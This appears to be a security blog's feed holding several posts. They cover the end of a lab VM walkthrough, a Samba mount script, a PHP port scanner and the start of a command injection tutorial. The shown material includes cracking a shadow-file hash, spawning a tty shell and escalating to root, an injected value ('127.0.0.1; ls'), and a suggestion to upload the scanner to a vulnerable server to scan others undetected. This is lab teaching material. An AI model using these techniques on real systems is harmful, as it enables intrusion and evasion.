 marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::
 mysql:!:17486:0:99999:7:::
 sshd:*:17486:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
The shadow file stores actual password in encrypted format for user&#39;s account with additional properties related to user password i.e. it stores secure user account information.&lt;br /&gt;
&lt;br /&gt;
As we can see the user &lt;b&gt;marlinspike&lt;/b&gt; have encrypted password :&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::&lt;/pre&gt;
Now save the above line onto the file pass.txt and then we try to crack the hashed password john (jtr).&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; root@ae3e2e69805d:~/# john pass.txt 
 
 Using default input encoding: UTF-8
 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
 Cost 1 (iteration count) is 5000 for all loaded hashes
 Will run 4 OpenMP threads
 Proceeding with single, rules:Single
 Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
 marlinspike      (marlinspike)
 1g 0:00:00:00 DONE 1/3 (2019-09-29 09:24) 4.347g/s 34.78p/s 34.78c/s 34.78C/s marlinspike..marlin
 Use the &quot;--show&quot; option to display all of the cracked passwords reliably
 Session completed
 
 root@ae3e2e69805d:~/# john --show pass.txt 
 
 marlinspike:marlinspike:17484:0:99999:7:::
 
 1 password hash cracked, 0 left
&lt;/code&gt;&lt;/pre&gt;
and the password for &lt;b&gt;marlinspike&lt;/b&gt; is &lt;b&gt;marlinspike&lt;/b&gt;, now lets try to login into &lt;b&gt;marlinspike&lt;/b&gt; account.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ su - marlinspike
 su: must be run from a terminal
&lt;/code&gt;&lt;/pre&gt;
Means we need tty shell then try to change root.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;
 www-data@vtcsec:/$ su - marlinspike    
 su - marlinspike
 Password: marlinspike
 
 marlinspike@vtcsec:~$ whoami
 whoami
 marlinspike
 
 marlinspike@vtcsec:~$ sudo su
 sudo su
 [sudo] password for marlinspike: marlinspike
 
 root@vtcsec:/home/marlinspike# whoami
 whoami
 root
 
 root@vtcsec:/home/marlinspike# 
&lt;/code&gt;&lt;/pre&gt;
WE got root shell again.&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/01/basicpentesting1-vm-walkthrough-from.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhyphenhyphen3cKuXanc2IYJkDif8Juw0PCfRh82aWVL5Yd5rkKm3A5v4EpE7gctg1yvAp4yqRJEBah0Se6JgYmJxYNvAHV1fk2EUPScm3S3UjZRIfAB_6RInH5g6KU7KS8Xn9ClY29a_0KdjOFuIM/s72-c/img1.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-3409229505770187883</guid><pubDate>Sat, 08 Jun 2019 17:33:00 +0000</pubDate><atom:updated>2019-06-08T10:39:52.425-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">File-Sharing</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Networking</category><category domain="http://www.blogger.com/atom/ns#">Shellcode</category><category domain="http://www.blogger.com/atom/ns#">Tools &amp; Scripts</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu</category><title>Mounting Samba File Sharing on Linux / Ubuntu system within single command</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVMAnARU9ogsrEDETa9ihJ_hMDSGu6nzx145GE5PGGmzZJ9KvmhtqIsBEFq46Dj0yi6-zcRbJJMaihs-KvkMw7NNugqzebKnDsoYpnKzX2PLClfKtOa6y41YJPYsiyduBexOiq_21t_EM/s1600/samba.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;214&quot; data-original-width=&quot;210&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVMAnARU9ogsrEDETa9ihJ_hMDSGu6nzx145GE5PGGmzZJ9KvmhtqIsBEFq46Dj0yi6-zcRbJJMaihs-KvkMw7NNugqzebKnDsoYpnKzX2PLClfKtOa6y41YJPYsiyduBexOiq_21t_EM/s1600/samba.jpg&quot; style=&quot;display: none;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The command used to mount Samba file sharing is &#39;&lt;b&gt;gio&lt;/b&gt;&#39;(gnome input/output) utility.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; gio mount smb://&amp;lt;server_address&amp;gt;/&amp;lt;share&amp;gt;&lt;/code&gt;&lt;/pre&gt;
Where we need to provide three things :&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Username&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;WORKGROUP&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Password&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
Example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ gio mount smb://192.168.56.101/Anonymous
 Password required for share anonymous on 192.168.1.100
 User [ajay]: Anonymous
 Domain [WORKGROUP]: WORKGROUP
 Password: &amp;lt;-------Password_here&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Automating the whole Process with a Shell script :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
File : &lt;b&gt;smbmount.sh&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: shell&quot;&gt;#!/bin/bash
# Mount smb file server with below credentials 
# Name : Anonymous
# WORKGROUP : WORKGROUP
# Password : Anonymous

echo -e &quot;Anonymous\nWORKGROUP\nAnonymous&quot; | gio mount \
smb://192.168.1.100/Anonymous &amp;gt;&amp;gt; /dev/null 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Creating an alias for smbmount.sh in .bashrc file :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Open your &#39;.bashrc&#39; file on any editor and at the last line add this :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; alias smbmount=&quot;~/scripts/smbmount.sh&quot;&lt;/code&gt;&lt;/pre&gt;
I put script at &quot;~/scripts/smbmount.sh&quot;, you can change it accoring to your location. Now open a new terminal and type &#39;smbmount&#39; to mount smsb share on your destro.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ smbmount&lt;/code&gt;&lt;/pre&gt;
Cheers !!&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/06/mounting-samba-file-sharing-on-linux.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVMAnARU9ogsrEDETa9ihJ_hMDSGu6nzx145GE5PGGmzZJ9KvmhtqIsBEFq46Dj0yi6-zcRbJJMaihs-KvkMw7NNugqzebKnDsoYpnKzX2PLClfKtOa6y41YJPYsiyduBexOiq_21t_EM/s72-c/samba.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-8874692747439107529</guid><pubDate>Tue, 29 Jan 2019 17:36:00 +0000</pubDate><atom:updated>2019-01-29T09:45:36.397-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Coding</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">File-Upload-Vulnerability</category><category domain="http://www.blogger.com/atom/ns#">HTTP</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><category domain="http://www.blogger.com/atom/ns#">Web-Server</category><title>A Simple php script for Port Scanning</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGwG-lEeyFS9NI-d5cI5-4IM1-PgBy8M8E0E3zqM2qiCaW1TeimHbM6XQ1Y7LOkuXUQYPDKIZsha-cOnAH6LA5FFkPcdacGJsktGWvkqhnKMuYCpace46z4bzI2udj3t9EbJPKrkbAv8s/s1600/portscan.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;197&quot; data-original-width=&quot;258&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGwG-lEeyFS9NI-d5cI5-4IM1-PgBy8M8E0E3zqM2qiCaW1TeimHbM6XQ1Y7LOkuXUQYPDKIZsha-cOnAH6LA5FFkPcdacGJsktGWvkqhnKMuYCpace46z4bzI2udj3t9EbJPKrkbAv8s/s1600/portscan.jpg&quot; style=&quot;display: none;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The below given php script scans open ports on target server. There are mainly two functions are used for scanning :&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-size: large;&quot;&gt;fsockopen() : &lt;/span&gt;&lt;/b&gt;The fsockopen() function is used to open socket connection with given hostname and port. &lt;b&gt;Syntax :&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; fsockopen(hostname, port, errNo, errStr, timeout);&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-size: large;&quot;&gt;getservbyport() :&lt;/span&gt;&lt;/b&gt; The&amp;nbsp;getservbyport() function is used to get the service name which corresponds to supplied port and protocol. &lt;b&gt;Syntax :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; getservbyport(portNumber, ProtocolName);&lt;/code&gt;&lt;/pre&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Code : &lt;b&gt;scan.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php

if(isset($_POST[&#39;ip&#39;])) {
  $ports = array(21, 22, 23, 25, 53, 80, 110, 135, 137, 139, 1433, 1434);
  $result = array();

  foreach($ports as $port) {
    if($scn = fsockopen($_POST[&#39;ip&#39;], $port, $err, $err_string, 1)) {
      $result[$port] = true;
      fclose($scn);
    } else {
      $result[$port] = false;
    }
  }

  echo &quot;&amp;lt;strong&amp;gt;Scanning Result for :&amp;lt;/strong&amp;gt; &amp;lt;i&amp;gt;&quot;, $_POST[&#39;ip&#39;], &quot;&amp;lt;/i&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&quot;;
  foreach($result as $port=&amp;gt;$val) {
    $srv = getservbyport($port, &quot;tcp&quot;);
    echo &quot;Port $port [$srv] : &quot;;
    if($val) {
      echo &quot;&amp;lt;span style=&#39;color:green&#39;&amp;gt;OPEN&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;&quot;;
    } else {
      echo &quot;&amp;lt;span style=&#39;color:red&#39;&amp;gt;Closed&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;&quot;;
    }
  }

} else {
  echo &quot;&amp;lt;br/&amp;gt;&quot;;
  echo &#39;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#39;;
  echo &#39;Enter IP Address to Scan : &amp;lt;input type=&quot;text&quot; name=&quot;ip&quot;&amp;gt; &#39;;
  echo &quot;&amp;lt;input type=&#39;submit&#39; value=&#39;Start Scan&#39;&amp;gt;&quot;;
  echo &quot;&amp;lt;/form&amp;gt;&quot;;
}

?&amp;gt;&lt;/pre&gt;
&lt;br /&gt;
Download Link : &lt;a href=&quot;https://github.com/sec-artdotnet/PHPScrpts/blob/master/portscan/scan.php&quot; target=&quot;_blank&quot;&gt;Github&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-_iipvL7-Qr2ei-EafV-A5wYy34YCrOWKRvhkU7oTFqFXgH9qHj7qZrwF6xRznTniD1tuyMqXntubLPKjFdQ5XtzBsCekIiHVgW0w-8iPpn9cNFHWvBWFWpwi6aH9Fzw14hVQW4U7Aoo/s1600/img1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;113&quot; data-original-width=&quot;436&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-_iipvL7-Qr2ei-EafV-A5wYy34YCrOWKRvhkU7oTFqFXgH9qHj7qZrwF6xRznTniD1tuyMqXntubLPKjFdQ5XtzBsCekIiHVgW0w-8iPpn9cNFHWvBWFWpwi6aH9Fzw14hVQW4U7Aoo/s1600/img1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOOmEIXtKmrLB_Z0aDRGwOeOGIqmP95cm_45zVlN3iaGYGyQ6o-4m2ZOCNTgYxhHbMotBAb7GQFqPxw23QZ8jp3RbqlQxMcUbaFumNuBoUgRSbL6gqQWKLwE4SHhd7Y0mQ8AfNvcvM62Y/s1600/img2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;325&quot; data-original-width=&quot;305&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOOmEIXtKmrLB_Z0aDRGwOeOGIqmP95cm_45zVlN3iaGYGyQ6o-4m2ZOCNTgYxhHbMotBAb7GQFqPxw23QZ8jp3RbqlQxMcUbaFumNuBoUgRSbL6gqQWKLwE4SHhd7Y0mQ8AfNvcvM62Y/s1600/img2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEosWsCwUZrkbgKAJR_ANp13qzo3qHh2Ei344QuBtO04zQ6bNm-mUlehaRZq_1vbwjo2z_lakdT1rfspoYJPHvggn5hxpJCJrwDAWJH3-ZJMeHdh6e40gl9P3t_8wNZtwnejfdHdC7b-E/s1600/img3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;114&quot; data-original-width=&quot;441&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEosWsCwUZrkbgKAJR_ANp13qzo3qHh2Ei344QuBtO04zQ6bNm-mUlehaRZq_1vbwjo2z_lakdT1rfspoYJPHvggn5hxpJCJrwDAWJH3-ZJMeHdh6e40gl9P3t_8wNZtwnejfdHdC7b-E/s1600/img3.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWn7HY_WtksRe9rTYgOyRgqPSDsI9gnS0IEyZPAkIq9tLnXQaySDKrtT20Ry7AsLZ6p5u3LdEuXaDTlf2SxRRmj-3fLuTo68T9DxAsl5M0Y8v3U38hH7S95Eqn2u2HtSKI1CbjD9wED1k/s1600/img4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;320&quot; data-original-width=&quot;308&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWn7HY_WtksRe9rTYgOyRgqPSDsI9gnS0IEyZPAkIq9tLnXQaySDKrtT20Ry7AsLZ6p5u3LdEuXaDTlf2SxRRmj-3fLuTo68T9DxAsl5M0Y8v3U38hH7S95Eqn2u2HtSKI1CbjD9wED1k/s1600/img4.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Possible use case :&amp;nbsp;&lt;/b&gt;This script can be uploaded onto a vulnerable server in case File Upload Vulnerability, and that server is used to scan other targets to avoid detection.&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/a-simple-php-script-for-port-scanning.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGwG-lEeyFS9NI-d5cI5-4IM1-PgBy8M8E0E3zqM2qiCaW1TeimHbM6XQ1Y7LOkuXUQYPDKIZsha-cOnAH6LA5FFkPcdacGJsktGWvkqhnKMuYCpace46z4bzI2udj3t9EbJPKrkbAv8s/s72-c/portscan.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-6260165389592409193</guid><pubDate>Mon, 28 Jan 2019 17:05:00 +0000</pubDate><atom:updated>2019-01-28T09:07:24.165-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><title> Command Injection vulnerability in Web Applications : Part 2 | Bypass Security Checks </title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWxsP37zqWmiJN7k9ixEDBSxJPE_oaAzwjzfCaFR_AYxyDKyYbE4-7o7c6enX1pMKMT0brCiSIL46lnvp_ZYQyEE8PyT8PqP0BNww0PRnn5726tjDGOEiYyFqgPzsJi9D-KB2VRwVOCQ/s1600/inject.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;178&quot; data-original-width=&quot;359&quot; height=&quot;158&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWxsP37zqWmiJN7k9ixEDBSxJPE_oaAzwjzfCaFR_AYxyDKyYbE4-7o7c6enX1pMKMT0brCiSIL46lnvp_ZYQyEE8PyT8PqP0BNww0PRnn5726tjDGOEiYyFqgPzsJi9D-KB2VRwVOCQ/s1600/inject.jpg&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
In this post we are gong to look at some of the security implementations and&amp;nbsp; data sanitization techniques used to mitigate the command injection vulnerability and also how to bypass them. For the basics of Command Injection vulnerability please visit my previous post :&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.sec-art.net/2019/01/command-injection-vulnerability-in-web.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Command Injection : Part 1 | Introduction&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Note&lt;/b&gt; : I am going to use Web for Pentester VM for the example. To install it on your system visit below link :&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.sec-art.net/2018/03/how-to-install-web-for-pentester-vm-in.html&quot;&gt;http://www.sec-art.net/2018/03/how-to-install-web-for-pentester-vm-in.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPq-B5ev3Rk_nxGSsQD7xfepVbuajuRK35eJ7urYa3bVsUIgRnLDN_Lb6XzWOR8xwdzIzEZbb5YEhB3C0tkj6prVz6UVcOgXOzRJrgGu5XFiNd8PfPKtcnH9B9114HjC4JEX71CRMGUj0/s1600/img1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;134&quot; data-original-width=&quot;347&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPq-B5ev3Rk_nxGSsQD7xfepVbuajuRK35eJ7urYa3bVsUIgRnLDN_Lb6XzWOR8xwdzIzEZbb5YEhB3C0tkj6prVz6UVcOgXOzRJrgGu5XFiNd8PfPKtcnH9B9114HjC4JEX71CRMGUj0/s1600/img1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Example 1 :&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In example 1 code there is not any kind of security checks.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGzQXbHC1I3G6uGtFteWTs-5cp0Tex9549Mz9_jW8haDeFsOudLnfAnMCyLHpCSibolUjzf45jHaodGlMfmOEwF-IFYfn2Pyc8Jju6ZWqDt_mbcHuzpYYeiYha7IKbVCVQIqoReIsP0XI/s1600/img2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;56&quot; data-original-width=&quot;326&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGzQXbHC1I3G6uGtFteWTs-5cp0Tex9549Mz9_jW8haDeFsOudLnfAnMCyLHpCSibolUjzf45jHaodGlMfmOEwF-IFYfn2Pyc8Jju6ZWqDt_mbcHuzpYYeiYha7IKbVCVQIqoReIsP0XI/s1600/img2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We can simply execute command.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /commandexec/example1.php?ip=127.0.0.1; ls&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL-rPf6ogWGA4P7ICvU7Dqp9HSBxRjpM-ozp8IZ3WDEXb1hPiJ6qq3-8xm9elR7EpFiOdqzfsl1tJdpq483G4t2uwKjcELwqn-jbc65AEiPaXh9YFOp4ZY5-zpoA7lX34xSg5KFgnxo1c/s1600/img3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;306&quot; data-original-width=&quot;611&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL-rPf6ogWGA4P7ICvU7Dqp9HSBxRjpM-ozp8IZ3WDEXb1hPiJ6qq3-8xm9elR7EpFiOdqzfsl1tJdpq483G4t2uwKjcELwqn-jbc65AEiPaXh9YFOp4ZY5-zpoA7lX34xSg5KFgnxo1c/s1600/img3.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Example1 is generic command injection.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Example 2 :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In example2, the regular expressions are used to filter out user input.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtC9Ibo9LNSitYQsiPUdKzB6PwIw0XoEcCjAdzVF8ucfIejSuZOBLoaqt2dpb3-gC8Cc38aWU9wcGzUJudi1wzgXdMKhLPgPCwj5dWvNBKYHeHS2Jx_eZtLank0COJcaLalMrMHAEYTxg/s1600/img4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;98&quot; data-original-width=&quot;699&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtC9Ibo9LNSitYQsiPUdKzB6PwIw0XoEcCjAdzVF8ucfIejSuZOBLoaqt2dpb3-gC8Cc38aWU9wcGzUJudi1wzgXdMKhLPgPCwj5dWvNBKYHeHS2Jx_eZtLank0COJcaLalMrMHAEYTxg/s1600/img4.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.mycsnotes.com/2018/07/validating-form-fields-with-regular.html&quot; target=&quot;_blank&quot;&gt;&quot;preg_match()&quot;&lt;/a&gt;&amp;nbsp;is a built-in php function which is used to regular expression related tasks.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
